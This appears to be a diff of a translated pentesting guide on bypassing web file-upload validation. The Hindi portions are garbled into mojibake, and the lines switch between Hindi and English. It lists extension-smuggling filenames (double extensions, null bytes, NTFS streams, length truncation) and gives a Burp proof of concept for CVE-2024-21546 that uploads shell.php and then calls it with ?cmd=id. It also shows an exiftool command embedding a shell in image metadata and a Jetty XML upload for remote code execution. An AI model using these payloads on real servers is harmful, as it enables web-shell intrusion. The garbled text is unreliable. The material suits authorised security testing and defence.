рд╕рд░реНрд╡рд░-рд╕рд╛рдЗрдб рдХреЗ рдПрдХреНрд╕рдЯреЗрдВрд╢рди рдкрд╛рд░реНрд╕рд░ рдХреЛ рдлрдБрд╕рд╛рдХрд░ рд╕реБрд░рдХреНрд╖рд╛ рдХреЛ рдмрд╛рдЗрдкрд╛рд╕ рдХрд░рдиреЗ рдХреА рдХреЛрд╢рд┐рд╢ рдХрд░реЗрдВ, рдЬреИрд╕реЗ **doubling** the **extension** рдпрд╛ рдПрдХреНрд╕рдЯреЗрдВрд╢рдиреНрд╕ рдХреЗ рдмреАрдЪ **junk** рдбреЗрдЯрд╛ (рдЬреИрд╕реЗ **null** рдмрд╛рдЗрдЯреНрд╕) рдЬреЛрдбрд╝рдирд╛ред _рдЖрдк рдмреЗрд╣рддрд░ payload рддреИрдпрд╛рд░ рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП **previous extensions** рдХрд╛ рднреА рдЙрдкрдпреЛрдЧ рдХрд░ рд╕рдХрддреЗ рд╣реИрдВ._ +4. рд╕рд░реНрд╡рд░-рд╕рд╛рдЗрдб рдХреЗ extension parser рдХреЛ рдзреЛрдЦрд╛ рджреЗрдХрд░ protections рдХреЛ рдмрд╛рдИрдкрд╛рд╕ рдХрд░рдиреЗ рдХреА рдХреЛрд╢рд┐рд╢ рдХрд░реЗрдВ, рдЬреИрд╕реЗ рдХрд┐ **doubling** the **extension** рдпрд╛ extensions рдХреЗ рдмреАрдЪ **junk data** (**null** bytes) рдбрд╛рд▓рдирд╛ред _You can also use the **previous extensions** to prepare a better payload._ - _file.png.php_ - _file.png.pHp5_ - _file.php#.png_ @@ -40,13 +40,13 @@ - _file.php%0a.png_ - _file.php%0d%0a.png_ - _file.phpJunk123png_ -5. рдкрд┐рдЫрд▓реА рдЬрд╛рдБрдЪ рдореЗрдВ **рдПрдХ рдФрд░ рд▓реЗрдпрд░** extensions рдЬреЛрдбрд╝реЗрдВ: +5. рдкрд┐рдЫрд▓реЗ рдЪреЗрдХ рдореЗрдВ **рдПрдХ рдФрд░ рд▓реЗрдпрд░** рдЬреЛрдбрд╝реЗрдВ: - _file.png.jpg.php_ - _file.php%00.png%00.jpg_ -6. рд╡реИрдз рдПрдХреНрд╕рдЯреЗрдВрд╢рди рд╕реЗ рдкрд╣рд▓реЗ **exec extension** рд░рдЦрдиреЗ рдХреА рдХреЛрд╢рд┐рд╢ рдХрд░реЗрдВ рдФрд░ рдЖрд╢рд╛ рдХрд░реЗрдВ рдХрд┐ server misconfigured рд╣реЛред (Apache misconfigurations рдХреЛ exploit рдХрд░рдиреЗ рдореЗрдВ рдЙрдкрдпреЛрдЧреА рдЬрд╣рд╛рдБ рдХрд┐рд╕реА рднреА рдлрд╛рдЗрд▓ рдЬрд┐рд╕рдХрд╛ extension `.php` рд╣реИ, рдкрд░ рдЬрд░реВрд░реА рдирд╣реАрдВ рдХрд┐ рд╡рд╣ `.php` рдкрд░ рдЦрддреНрдо рд╣реЛ, code execute рд╣реЛ рдЬрд╛рдПрдЧрд╛): +6. рдХреЛрд╢рд┐рд╢ рдХрд░реЗрдВ рдХрд┐ **exec extension рдХреЛ valid extension рд╕реЗ рдкрд╣рд▓реЗ рд░рдЦ рджреЗрдВ** рдФрд░ рдЙрдореНрдореАрдж рдХрд░реЗрдВ рдХрд┐ рд╕рд░реНрд╡рд░ misconfigured рд╣реЛред (Apache misconfigurations рдХреЛ exploit рдХрд░рдиреЗ рдореЗрдВ рдЙрдкрдпреЛрдЧреА рдЬрд╣рд╛рдБ рдХрд┐рд╕реА рднреА рдЪреАрдЬрд╝ рдХрд╛ extension **.php** рд╣реИ рдкрд░ рдЬрд░реВрд░реА рдирд╣реАрдВ рдХрд┐ filename `.php` рдкрд░ рдЦрддреНрдо рд╣реЛ тАФ рддрдм code execute рд╣реЛ рд╕рдХрддрд╛ рд╣реИ): - _ex: file.php.png_ -7. **NTFS alternate data stream (ADS)** рдХрд╛ рдЙрдкрдпреЛрдЧ **Windows** рдореЗрдВред рдЗрд╕ рд╕реНрдерд┐рддрд┐ рдореЗрдВ, рдПрдХ colon character ":" рдирд┐рд╖рд┐рджреНрдз extension рдХреЗ рдмрд╛рдж рдФрд░ рдЕрдиреБрдорддрд┐ рдкреНрд░рд╛рдкреНрдд рдПрдХ extension рдХреЗ рдкрд╣рд▓реЗ рдбрд╛рд▓рд╛ рдЬрд╛рдПрдЧрд╛ред рдкрд░рд┐рдгрд╛рдорд╕реНрд╡рд░реВрдк, рд╕рд░реНрд╡рд░ рдкрд░ рдПрдХ **рдЦрд╛рд▓реА рдлрд╝рд╛рдЗрд▓ рдЬрд┐рд╕рдкрд░ рдирд┐рд╖рд┐рджреНрдз extension рд╣реЛрдЧрд╛** рдмрди рдЬрд╛рдПрдЧреА (рдЙрджрд╛. "file.asax:.jpgтАЭ). рдЗрд╕ рдлрд╝рд╛рдЗрд▓ рдХреЛ рдмрд╛рдж рдореЗрдВ рдЕрдиреНрдп рддрдХрдиреАрдХреЛрдВ рдХреЗ рдЬрд░рд┐рдП рд╕рдВрдкрд╛рджрд┐рдд рдХрд┐рдпрд╛ рдЬрд╛ рд╕рдХрддрд╛ рд╣реИ рдЬреИрд╕реЗ рдХрд┐ рдЗрд╕рдХрд╛ short filename рдЙрдкрдпреЛрдЧ рдХрд░рдирд╛ред рдкреИрдЯрд░реНрди "**::$data**тАЭ рдХрд╛ рдЙрдкрдпреЛрдЧ non-empty рдлрд╝рд╛рдЗрд▓реЗрдВ рдмрдирд╛рдиреЗ рдХреЗ рд▓рд┐рдП рднреА рдХрд┐рдпрд╛ рдЬрд╛ рд╕рдХрддрд╛ рд╣реИред рдЗрд╕рд▓рд┐рдП, рдЗрд╕ рдкреИрдЯрд░реНрди рдХреЗ рдмрд╛рдж рдПрдХ dot character рдЬреЛрдбрд╝рдирд╛ рднреА рдЖрдЧреЗ рдХреА рдкреНрд░рддрд┐рдмрдВрдзреЛрдВ рдХреЛ рдмрд╛рдпрдкрд╛рд╕ рдХрд░рдиреЗ рдореЗрдВ рдЙрдкрдпреЛрдЧреА рд╣реЛ рд╕рдХрддрд╛ рд╣реИ (рдЙрджрд╛. "file.asp::$data.тАЭ) -8. рдлрд╝рд╛рдЗрд▓рдирд╛рдо рдХреА рд╕реАрдорд╛рдПрдБ рддреЛрдбрд╝рдиреЗ рдХреА рдХреЛрд╢рд┐рд╢ рдХрд░реЗрдВред рд╡реИрдз extension рдХрдЯ рдЬрд╛рддрд╛ рд╣реИ рдФрд░ malicious PHP рдмрдЪ рдЬрд╛рддрд╛ рд╣реИред AAA<--SNIP-->AAA.php +7. **Windows** рдореЗрдВ **NTFS alternate data stream (ADS)** рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░реЗрдВред рдЗрд╕ рдХреЗрд╕ рдореЗрдВ, forbidden extension рдХреЗ рдмрд╛рдж рдФрд░ permitted extension рд╕реЗ рдкрд╣рд▓реЗ colon character ":" рдбрд╛рд▓рд╛ рдЬрд╛рдПрдЧрд╛ред рдкрд░рд┐рдгрд╛рдорд╕реНрд╡рд░реВрдк, рд╕рд░реНрд╡рд░ рдкрд░ рдПрдХ **empty file with the forbidden extension** рдмрди рд╕рдХрддреА рд╣реИ (рдЙрджрд╛. "file.asax:.jpgтАЭ). рдмрд╛рдж рдореЗрдВ рдЗрд╕ рдлрд╝рд╛рдЗрд▓ рдХреЛ рдЕрдиреНрдп techniques рд╕реЗ edit рдХрд┐рдпрд╛ рдЬрд╛ рд╕рдХрддрд╛ рд╣реИ рдЬреИрд╕реЗ рдХрд┐ рдЙрд╕рдХреА short filename рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдХреЗред "**::$data**тАЭ pattern рдХрд╛ рдЙрдкрдпреЛрдЧ non-empty files рдмрдирд╛рдиреЗ рдХреЗ рд▓рд┐рдП рднреА рдХрд┐рдпрд╛ рдЬрд╛ рд╕рдХрддрд╛ рд╣реИред рдЗрд╕рд▓рд┐рдП, рдЗрд╕ pattern рдХреЗ рдмрд╛рдж dot character рдЬреЛрдбрд╝рдирд╛ рдЖрдЧреЗ рдХреА restrictions рдмрд╛рдИрдкрд╛рд╕ рдХрд░рдиреЗ рдореЗрдВ рдЙрдкрдпреЛрдЧреА рд╣реЛ рд╕рдХрддрд╛ рд╣реИ (рдЙрджрд╛. "file.asp::$data.тАЭ) +8. filename limits рддреЛрдбрд╝рдХрд░ рджреЗрдЦреЗрдВред valid extension рдХрдЯ рдЬрд╛рддреА рд╣реИ рдФрд░ malicious PHP рдмрдЪ рдЬрд╛рддрд╛ рд╣реИред AAA<--SNIP-->AAA.php ``` # Linux maximum 255 bytes @@ -61,13 +61,13 @@ AAA<--SNIP 232 A-->AAA.php.png #### UniSharp Laravel Filemanager pre-2.9.1 (.php. trailing dot) тАУ CVE-2024-21546 -рдХреБрдЫ upload handlers рд╕реЗрд╡ рдХрд┐рдП рдЧрдП filename рд╕реЗ trailing dot characters рдХреЛ trim рдпрд╛ normalize рдХрд░ рджреЗрддреЗ рд╣реИрдВред UniSharpтАЩs Laravel Filemanager (unisharp/laravel-filemanager) рдХреЗ 2.9.1 рд╕реЗ рдкрд╣рд▓реЗ рдХреЗ рд╕рдВрд╕реНрдХрд░рдгреЛрдВ рдореЗрдВ, рдЖрдк extension validation рдХреЛ рдирд┐рдореНрди рддрд░реАрдХреЛрдВ рд╕реЗ рдмрд╛рдпрдкрд╛рд╕ рдХрд░ рд╕рдХрддреЗ рд╣реИрдВ: +рдХреБрдЫ upload handlers saved filename рд╕реЗ trailing dot characters рдХреЛ trim рдпрд╛ normalize рдХрд░ рджреЗрддреЗ рд╣реИрдВред UniSharpтАЩs Laravel Filemanager (unisharp/laravel-filemanager) рдХреЗ versions 2.9.1 рд╕реЗ рдкрд╣рд▓реЗ, рдЖрдк extension validation рдХреЛ рдмрд╛рдИрдкрд╛рд╕ рдХрд░ рд╕рдХрддреЗ рд╣реИрдВ: -- рдПрдХ рд╡реИрдз image MIME рдФрд░ magic header рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░реЗрдВ (рдЙрджрд╛., PNG рдХрд╛ `\x89PNG\r\n\x1a\n`). -- рдЕрдкрд▓реЛрдб рдХреА рдЧрдИ рдлрд╝рд╛рдЗрд▓ рдХрд╛ рдирд╛рдо PHP extension рдХреЗ рдмрд╛рдж рдПрдХ dot рд▓рдЧрд╛рдХрд░ рджреЗрдВ, рдЙрджрд╛рд╣рд░рдг рдХреЗ рд▓рд┐рдП `shell.php.`. -- рд╕рд░реНрд╡рд░ trailing dot рдХреЛ рд╣рдЯрд╛ рджреЗрддрд╛ рд╣реИ рдФрд░ `shell.php` рдХреЛ persist рдХрд░рддрд╛ рд╣реИ, рдЬреЛ execute рд╣реЛрдЧрд╛ рдпрджрд┐ рдпрд╣ рдХрд┐рд╕реА web-served directory рдореЗрдВ рд░рдЦрд╛ рдЧрдпрд╛ рд╣реЛ (рдбрд┐рдлрд╝реЙрд▓реНрдЯ public storage рдЬреИрд╕реЗ `/storage/files/`). +- рдПрдХ рд╡реИрдз image MIME рдФрд░ magic header рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдирд╛ (рдЙрджрд╛., PNG рдХрд╛ `\x89PNG\r\n\x1a\n`)ред +- рдЕрдкрд▓реЛрдб рдХреА рдЧрдИ рдлрд╝рд╛рдЗрд▓ рдХрд╛ рдирд╛рдо PHP extension рдХреЗ рдмрд╛рдж рдПрдХ dot рдХреЗ рд╕рд╛рде рд░рдЦрдирд╛, рдЬреИрд╕реЗ `shell.php.`ред +- рд╕рд░реНрд╡рд░ trailing dot рдХреЛ рд╣рдЯрд╛ рджреЗрддрд╛ рд╣реИ рдФрд░ `shell.php` рдХреЛ persist рдХрд░ рджреЗрддрд╛ рд╣реИ, рдЬреЛ рдХрд┐ web-served directory (default public storage рдЬреИрд╕реЗ `/storage/files/`) рдореЗрдВ рд░рдЦрд╛ рдЧрдпрд╛ рд╣реЛ рддреЛ execute рд╣реЛ рд╕рдХрддрд╛ рд╣реИред -рдиреНрдпреВрдирддрдо PoC (Burp Repeater): +Minimal PoC (Burp Repeater): ```http POST /profile/avatar HTTP/1.1 Host: target @@ -80,65 +80,65 @@ Content-Type: image/png \x89PNG\r\n\x1a\n ------WebKitFormBoundary-- ``` -рдлрд┐рд░ saved path рдкрд░ рд╣рд┐рдЯ рдХрд░реЗрдВ (Laravel + LFM рдореЗрдВ рд╕рд╛рдорд╛рдиреНрдп): +рдлрд┐рд░ saved path рдХреЛ рд╣рд┐рдЯ рдХрд░реЗрдВ (Laravel + LFM рдореЗрдВ рд╕рд╛рдорд╛рдиреНрдп): ``` GET /storage/files/0xdf.php?cmd=id ``` -рд░реЛрдХрдерд╛рдо: -- unisharp/laravel-filemanager рдХреЛ тЙе 2.9.1 рдореЗрдВ рдЕрдкрдбреЗрдЯ рдХрд░реЗрдВред -- рд╕рдЦреНрдд server-side allowlists рд▓рд╛рдЧреВ рдХрд░реЗрдВ рдФрд░ persisted filename рдХреЛ рдкреБрдирдГ рдорд╛рдиреНрдп (re-validate) рдХрд░реЗрдВред -- uploads рдХреЛ non-executable рд╕реНрдерд╛рдиреЛрдВ рд╕реЗ рд╕рд░реНрд╡ рдХрд░реЗрдВред +Mitigations: +- Upgrade unisharp/laravel-filemanager to тЙе 2.9.1. +- Enforce strict server-side allowlists and re-validate the persisted filename. +- Serve uploads from non-executable locations. -### Content-Type, Magic Number, Compression & Resizing рдХреЛ рдмрд╛рдпрдкрд╛рд╕ рдХрд░рдирд╛ +### Bypass Content-Type, Magic Number, Compression & Resizing -- **Content-Type** checks рдХреЛ рдмрд╛рдпрдкрд╛рд╕ рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП **Content-Type** **header** рдХреЗ **value** рдХреЛ рд╕реЗрдЯ рдХрд░реЗрдВ: _image/png_ , _text/plain , application/octet-stream_ +- Bypass **Content-Type** checks by setting the **value** of the **Content-Type** **header** to: _image/png_ , _text/plain , application/octet-stream_ 1. Content-Type **wordlist**: [https://github.com/danielmiessler/SecLists/blob/master/Miscellaneous/Web/content-type.txt](https://github.com/danielmiessler/SecLists/blob/master/Miscellaneous/Web/content-type.txt) -- **magic number** check рдХреЛ рдмрд╛рдпрдкрд╛рд╕ рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рдлрд╛рдЗрд▓ рдХреА рд╢реБрд░реБрдЖрдд рдореЗрдВ рдПрдХ рд╡рд╛рд╕реНрддрд╡рд┐рдХ image рдХреЗ **bytes** рдЬреЛрдбрд╝реЗрдВ (рдлрд╛рдЗрд▓ рдХрдорд╛рдВрдб _file_ рдХреЛ confuse рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП)ред рдпрд╛ shell рдХреЛ **metadata** рдХреЗ рдЕрдВрджрд░ рдбрд╛рд▓реЗрдВ:\ +- Bypass **magic number** check by adding at the beginning of the file the **bytes of a real image** (confuse the _file_ command). Or introduce the shell inside the **metadata**:\ `exiftool -Comment="' >> img.png` -- рдпрджрд┐ рдЖрдкрдХреА image рдкрд░ **compressions** рдЬреЛрдбрд╝реА рдЬрд╛ рд░рд╣реА рд╣реИ, рдЙрджрд╛рд╣рд░рдг рдХреЗ рд▓рд┐рдП PHP-GD рдЬреИрд╕реА рдорд╛рдирдХ PHP рд▓рд╛рдЗрдмреНрд░реЗрд░реА рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рддреЗ рд╣реБрдП, рддреЛ рдкрд┐рдЫрд▓реЗ techniques рдЙрдкрдпреЛрдЧреА рдирд╣реАрдВ рд╣реЛрдВрдЧреЗред рд╣рд╛рд▓рд╛рдВрдХрд┐, рдЖрдк **PLTE chunk** [**technique defined here**](https://www.synacktiv.com/publications/persistent-php-payloads-in-pngs-how-to-inject-php-code-in-an-image-and-keep-it-there.html) рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░ рдХреБрдЫ рдЯреЗрдХреНрд╕реНрдЯ insert рдХрд░ рд╕рдХрддреЗ рд╣реИрдВ рдЬреЛ **compression рд╕реЗ рдмрдЪ рдЬрд╛рдП**ред +- If **compressions is being added to your image**, for example using some standard PHP libraries like [PHP-GD](https://www.php.net/manual/fr/book.image.php), the previous techniques won't be useful it. However, you could use the **PLTE chunk** [**technique defined here**](https://www.synacktiv.com/publications/persistent-php-payloads-in-pngs-how-to-inject-php-code-in-an-image-and-keep-it-there.html) to insert some text that will **survive compression**. - [**Github with the code**](https://github.com/synacktiv/astrolock/blob/main/payloads/generators/gen_plte_png.php) -- рд╡реЗрдм рдкреЗрдЬ image рдХреЛ **resizing** рднреА рдХрд░ рд╕рдХрддрд╛ рд╣реИ, рдЙрджрд╛рд╣рд░рдг рдХреЗ рд▓рд┐рдП PHP-GD рдХреА `imagecopyresized` рдпрд╛ `imagecopyresampled` рдлрдВрдХреНрд╢рдиреНрд╕ рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдХреЗред рд╣рд╛рд▓рд╛рдВрдХрд┐, рдЖрдк **IDAT chunk** [**technique defined here**](https://www.synacktiv.com/publications/persistent-php-payloads-in-pngs-how-to-inject-php-code-in-an-image-and-keep-it-there.html) рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░ рдЯреЗрдХреНрд╕реНрдЯ insert рдХрд░ рд╕рдХрддреЗ рд╣реИрдВ рдЬреЛ **compression рд╕реЗ рдмрдЪ рдЬрд╛рдП**ред +- The web page cold also be **resizing** the **image**, using for example the PHP-GD functions `imagecopyresized` or `imagecopyresampled`. However, you could use the **IDAT chunk** [**technique defined here**](https://www.synacktiv.com/publications/persistent-php-payloads-in-pngs-how-to-inject-php-code-in-an-image-and-keep-it-there.html) to insert some text that will **survive compression**. - [**Github with the code**](https://github.com/synacktiv/astrolock/blob/main/payloads/generators/gen_idat_png.php) -- рдПрдХ рдФрд░ рддрдХрдиреАрдХ рд╣реИ рдЬрд┐рд╕рд╕реЗ payload **image resizing** рдХреЗ рдмрд╛рдж рднреА рдмрдЪ рд╕рдХрддрд╛ рд╣реИ, рдЬреЛ PHP-GD рдХреЗ `thumbnailImage` рдлрдВрдХреНрд╢рди рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рддрд╛ рд╣реИред рд╣рд╛рд▓рд╛рдВрдХрд┐, рдЖрдк **tEXt chunk** [**technique defined here**](https://www.synacktiv.com/publications/persistent-php-payloads-in-pngs-how-to-inject-php-code-in-an-image-and-keep-it-there.html) рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░ рдРрд╕рд╛ рдЯреЗрдХреНрд╕реНрдЯ insert рдХрд░ рд╕рдХрддреЗ рд╣реИрдВ рдЬреЛ **compression рд╕реЗ рдмрдЪ рдЬрд╛рдП**ред +- Another technique to make a payload that **survives an image resizing**, using the PHP-GD function `thumbnailImage`. However, you could use the **tEXt chunk** [**technique defined here**](https://www.synacktiv.com/publications/persistent-php-payloads-in-pngs-how-to-inject-php-code-in-an-image-and-keep-it-there.html) to insert some text that will **survive compression**. - [**Github with the code**](https://github.com/synacktiv/astrolock/blob/main/payloads/generators/gen_tEXt_png.php) -### рдЕрдиреНрдп рдЬрд╛рдВрдЪрдиреЗ рдпреЛрдЧреНрдп рддрд░рдХреАрдмреЗрдВ +### Other Tricks to check -- рдкрд╣рд▓реЗ рд╕реЗ рдЕрдкрд▓реЛрдб рдХреА рдЧрдИ рдлрд╛рдЗрд▓ рдХрд╛ **rename** рдХрд░рдиреЗ рд╡рд╛рд▓реА рдХреЛрдИ vulnerability рдЦреЛрдЬреЗрдВ (extension рдмрджрд▓рдиреЗ рдХреЗ рд▓рд┐рдП)ред -- backdoor execute рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рдХреЛрдИ **Local File Inclusion** vulnerability рдЦреЛрдЬреЗрдВред -- **рд╕рдВрднрд╛рд╡рд┐рдд рд╕реВрдЪрдирд╛-рдкреНрд░рдХрдЯреАрдХрд░рдг**: -1. рдПрдХ рд╣реА рдлрд╛рдЗрд▓ рдХреЛ **рдХрдИ рдмрд╛рд░** (рдФрд░ рдПрдХ рд╣реА рд╕рдордп рдореЗрдВ) **рдЙрд╕реА рдирд╛рдо** рдХреЗ рд╕рд╛рде upload рдХрд░реЗрдВред -2. рдРрд╕реА рдлрд╛рдЗрд▓ upload рдХрд░реЗрдВ рдЬрд┐рд╕рдХрд╛ **name** рдХрд┐рд╕реА рдкрд╣рд▓реЗ рд╕реЗ рдореМрдЬреВрдж **file** рдпрд╛ **folder** рдЬреИрд╕рд╛ рд╣реЛред -3. рдРрд╕реА рдлрд╛рдЗрд▓ upload рдХрд░рдирд╛ рдЬрд┐рд╕рдХрд╛ рдирд╛рдо **"."**, ".." рдпрд╛ "..." рдЬреИрд╕рд╛ рд╣реЛред рдЙрджрд╛рд╣рд░рдг рдХреЗ рд▓рд┐рдП, Apache рдореЗрдВ **Windows** рдкрд░ рдпрджрд┐ рдПрдкреНрд▓рд┐рдХреЗрд╢рди "/www/uploads/" рдбрд╛рдпрд░реЗрдХреНрдЯрд░реА рдореЗрдВ рдЕрдкрд▓реЛрдб рдлрд╝рд╛рдЗрд▓реЗрдВ рд╕реЗрд╡ рдХрд░рддрд╛ рд╣реИ, рддреЛ "." рдирд╛рдо рд╡рд╛рд▓реА рдлрд╝рд╛рдЗрд▓ "/www/" рдбрд╛рдпрд░реЗрдХреНрдЯрд░реА рдореЗрдВ "uploads" рдирд╛рдо рдХреА рдлрд╝рд╛рдЗрд▓ рдмрдирд╛ рджреЗрдЧреАред -4. рдРрд╕реА рдлрд╝рд╛рдЗрд▓ рдЕрдкрд▓реЛрдб рдХрд░реЗрдВ рдЬрд┐рд╕реЗ рдЖрд╕рд╛рдиреА рд╕реЗ delete рдирд╣реАрдВ рдХрд┐рдпрд╛ рдЬрд╛ рд╕рдХреЗ, рдЬреИрд╕реЗ **"тАж:.jpg"** NTFS рдореЗрдВред (Windows) -5. **Windows** рдореЗрдВ рдирд╛рдо рдореЗрдВ рдЕрд╡реИрдз characters рдЬреИрд╕реЗ `|<>*?тАЭ` рдХреЗ рд╕рд╛рде рдлрд╛рдЗрд▓ рдЕрдкрд▓реЛрдб рдХрд░реЗрдВред (Windows) -6. **Windows** рдореЗрдВ reserved (forbidden) names рдЬреИрд╕реЗ CON, PRN, AUX, NUL, COM1 тАж COM9, LPT1 тАж LPT9 рдЖрджрд┐ рдХреЗ рд╕рд╛рде рдлрд╛рдЗрд▓ рдЕрдкрд▓реЛрдб рдХрд░рдиреЗ рдХреА рдХреЛрд╢рд┐рд╢ рдХрд░реЗрдВред -- рдпрд╣ рднреА рдЖрдЬрд╝рдорд╛рдПрдБ рдХрд┐ рдХреЛрдИ **executable** (.exe) рдпрд╛ рдХреЛрдИ **.html** (рдХрдо рд╕рдВрджрд┐рдЧреНрдз) рдЕрдкрд▓реЛрдб рдХрд░реЗрдВ рдЬреЛ victim рджреНрд╡рд╛рд░рд╛ рдЧрд▓рддреА рд╕реЗ рдЦреЛрд▓реЗ рдЬрд╛рдиреЗ рдкрд░ рдХреЛрдб execute рдХрд░ рджреЗред +- Find a vulnerability to **rename** the file already uploaded (to change the extension). +- Find a **Local File Inclusion** vulnerability to execute the backdoor. +- **Possible Information disclosure**: +1. рдПрдХ рд╣реА рдлрд╛рдЗрд▓ рдХреЛ **рдХрдИ рдмрд╛рд░** (рдФрд░ рдПрдХ рд╣реА рд╕рдордп рдкрд░) рдПрдХ рд╣реА **рдирд╛рдо** рд╕реЗ upload рдХрд░реЗрдВ +2. рдРрд╕реА рдлрд╛рдЗрд▓ upload рдХрд░реЗрдВ рдЬрд┐рд╕рдХрд╛ **name** рдХрд┐рд╕реА рдкрд╣рд▓реЗ рд╕реЗ рдореМрдЬреВрдж **file** рдпрд╛ **folder** рдЬреИрд╕рд╛ рд╣реЛ +3. рдлрд╛рдЗрд▓ рдХрд╛ рдирд╛рдо **".", "..", рдпрд╛ "..."** рд░рдЦреЗрдВред рдЙрджрд╛рд╣рд░рдг рдХреЗ рд▓рд┐рдП, Apache рдореЗрдВ **Windows** рдкрд░, рдпрджрд┐ application рдЕрдкрд▓реЛрдб рдХреА рдЧрдИ рдлрд╛рдЗрд▓реЛрдВ рдХреЛ "/www/uploads/" directory рдореЗрдВ рд╕реЗрд╡ рдХрд░рддрд╛ рд╣реИ, рддреЛ "." filename "/www/" directory рдореЗрдВ "uploads" рдирд╛рдо рдХреА рдПрдХ рдлрд╛рдЗрд▓ рдмрдирд╛ рджреЗрдЧрд╛ред +4. рдРрд╕реА рдлрд╛рдЗрд▓ upload рдХрд░реЗрдВ рдЬрд┐рд╕реЗ рдЖрд╕рд╛рдиреА рд╕реЗ delete рди рдХрд┐рдпрд╛ рдЬрд╛ рд╕рдХреЗ рдЬреИрд╕реЗ **"...:.jpg"** in **NTFS**. (Windows) +5. **Windows** рдореЗрдВ рдРрд╕реЗ invalid characters рд╡рд╛рд▓реЗ рдирд╛рдо рд╕реЗ рдлрд╛рдЗрд▓ upload рдХрд░реЗрдВ рдЬреИрд╕реЗ `|<>*?тАЭ`ред (Windows) +6. **Windows** рдореЗрдВ reserved (forbidden) рдирд╛рдореЛрдВ рдХрд╛ рдЗрд╕реНрддреЗрдорд╛рд▓ рдХрд░рдХреЗ рдлрд╛рдЗрд▓ upload рдХрд░реЗрдВ рдЬреИрд╕реЗ CON, PRN, AUX, NUL, COM1, COM2, COM3, COM4, COM5, COM6, COM7, COM8, COM9, LPT1, LPT2, LPT3, LPT4, LPT5, LPT6, LPT7, LPT8, and LPT9. +- Try also to **upload an executable** (.exe) or an **.html** (less suspicious) that **will execute code** when accidentally opened by victim. ### Special extension tricks -рдпрджрд┐ рдЖрдк **PHP server** рдкрд░ рдлрд╛рдЗрд▓реЗрдВ рдЕрдкрд▓реЛрдб рдХрд░рдиреЗ рдХреА рдХреЛрд╢рд┐рд╢ рдХрд░ рд░рд╣реЗ рд╣реИрдВ, рддреЛ [рдХреЛрдб execute рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП **.htaccess** trick рджреЗрдЦреЗрдВ](https://book.hacktricks.wiki/en/network-services-pentesting/pentesting-web/php-tricks-esp/index.html#code-execution).\ -рдпрджрд┐ рдЖрдк **ASP server** рдкрд░ рдлрд╛рдЗрд▓реЗрдВ рдЕрдкрд▓реЛрдб рдХрд░рдиреЗ рдХреА рдХреЛрд╢рд┐рд╢ рдХрд░ рд░рд╣реЗ рд╣реИрдВ, рддреЛ [рдХреЛрдб execute рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП **.config** trick рджреЗрдЦреЗрдВ](../../network-services-pentesting/pentesting-web/iis-internet-information-services.md#execute-config-files). +If you are trying to upload files to a **PHP server**, [take a look at the **.htaccess** trick to execute code](https://book.hacktricks.wiki/en/network-services-pentesting/pentesting-web/php-tricks-esp/index.html#code-execution).\ +If you are trying to upload files to an **ASP server**, [take a look at the **.config** trick to execute code](../../network-services-pentesting/pentesting-web/iis-internet-information-services.md#execute-config-files). -`.phar` рдлрд╛рдЗрд▓реЗрдВ java рдХреЗ `.jar` рдХреА рддрд░рд╣ рд╣реЛрддреА рд╣реИрдВ, рдкрд░ php рдХреЗ рд▓рд┐рдП, рдФрд░ рдЗрдиреНрд╣реЗрдВ php рдлрд╝рд╛рдЗрд▓ рдХреА рддрд░рд╣ рдЙрдкрдпреЛрдЧ рдХрд┐рдпрд╛ рдЬрд╛ рд╕рдХрддрд╛ рд╣реИ (php рд╕реЗ execute рдХрд░рдирд╛, рдпрд╛ рдХрд┐рд╕реА рд╕реНрдХреНрд░рд┐рдкреНрдЯ рдореЗрдВ include рдХрд░рдирд╛...)ред +The `.phar` files are like the `.jar` for java, but for php, and can be **used like a php file** (executing it with php, or including it inside a script...) -`.inc` extension рдХрднреА-рдХрднрд╛рд░ php рдлрд╛рдЗрд▓реЛрдВ рдХреЗ рд▓рд┐рдП рдЙрдкрдпреЛрдЧ рдХрд┐рдпрд╛ рдЬрд╛рддрд╛ рд╣реИ рдЬреЛ рдХреЗрд╡рд▓ import рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рд╣реЛрддреЗ рд╣реИрдВ, рдЗрд╕рд▓рд┐рдП рдХрд┐рд╕реА рд╕рдордп рдХрд┐рд╕реА рдиреЗ рдЗрд╕ extension рдХреЛ execute рд╣реЛрдиреЗ рдХреА рдЕрдиреБрдорддрд┐ рджреЗ рджреА рд╣реЛ рд╕рдХрддреА рд╣реИред +The `.inc` extension is sometimes used for php files that are only used to **import files**, so, at some point, someone could have allow **this extension to be executed**. ## **Jetty RCE** -рдпрджрд┐ рдЖрдк Jetty server рдореЗрдВ XML рдлрд╝рд╛рдЗрд▓ рдЕрдкрд▓реЛрдб рдХрд░ рд╕рдХрддреЗ рд╣реИрдВ рддреЛ рдЖрдк [RCE рдкреНрд░рд╛рдкреНрдд рдХрд░ рд╕рдХрддреЗ рд╣реИрдВ рдХреНрдпреЛрдВрдХрд┐ **new \*.xml and \*.war are automatically processed**](https://twitter.com/ptswarm/status/1555184661751648256/photo/1)**ред** рдЬреИрд╕рд╛ рдХрд┐ рдиреАрдЪреЗ image рдореЗрдВ рджрд┐рдЦрд╛рдпрд╛ рдЧрдпрд╛ рд╣реИ, XML рдлрд╝рд╛рдЗрд▓ рдХреЛ `$JETTY_BASE/webapps/` рдореЗрдВ рдЕрдкрд▓реЛрдб рдХрд░реЗрдВ рдФрд░ shell рдХреА рдЙрдореНрдореАрдж рд░рдЦреЗрдВ! +If you can upload a XML file into a Jetty server you can obtain [RCE because **new \*.xml and \*.war are automatically processed**](https://twitter.com/ptswarm/status/1555184661751648256/photo/1)**.** So, as mentioned in the following image, upload the XML file to `$JETTY_BASE/webapps/` and expect the shell! 